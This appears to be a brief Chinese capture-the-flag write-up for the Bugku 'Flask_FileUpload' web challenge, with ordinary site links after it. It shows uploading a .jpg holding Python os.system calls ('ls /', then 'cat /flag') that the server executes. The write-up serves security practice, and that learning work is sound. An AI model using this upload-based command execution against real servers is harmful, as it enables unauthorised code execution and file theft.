技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
风骏时光牛马
2 分钟前
AI_Coding:智能代码创作助手
前端
骑士雄师
5 分钟前
多轮对话流程梳理详细版本
python
剪刀石头布啊
9 小时前
vue-react为何要虚拟dom
前端
剪刀石头布啊
9 小时前
ahooks常用的一些库,我们使用一下
前端
剪刀石头布啊
9 小时前
从git更新本地提交记录到更新已经推送到远端记录
前端
Flynt
11 小时前
axios 被投毒半年后,我把 npm 的"安全防线"实测了一遍:最信任的 SHA512 是安慰剂
前端·npm·node.js
excel
12 小时前
Base62 和 Base64 有什么区别?
前端
风骏时光牛马
13 小时前
大模型底层架构与AI源码深度剖析
前端
进击的明明
13 小时前
当AI开始“边想边干”:深入聊聊ReAct,以及如何用Python手搓一个简单Agent
python·面试·agent
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02如何新建文件夹? 电脑新建文件夹的4种方法03「全语录+省流版」邵艾伦 × 孙宇晨:聊风口、聊个人IP、聊年轻人如何抓住 AI 时代的机会04GitHub 镜像站点05历年考研数学一、数学二、数学三真题试卷及答案PDF06几个好用的ip纯净度检测网站07苹果iPA游戏软件资源下载网站08蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接09Windows 10/11 如何退出微软账户并改用本地账户登录(含找不到选项的解决方法)10Telegram APK 下载安装完整指南 — 2026年最新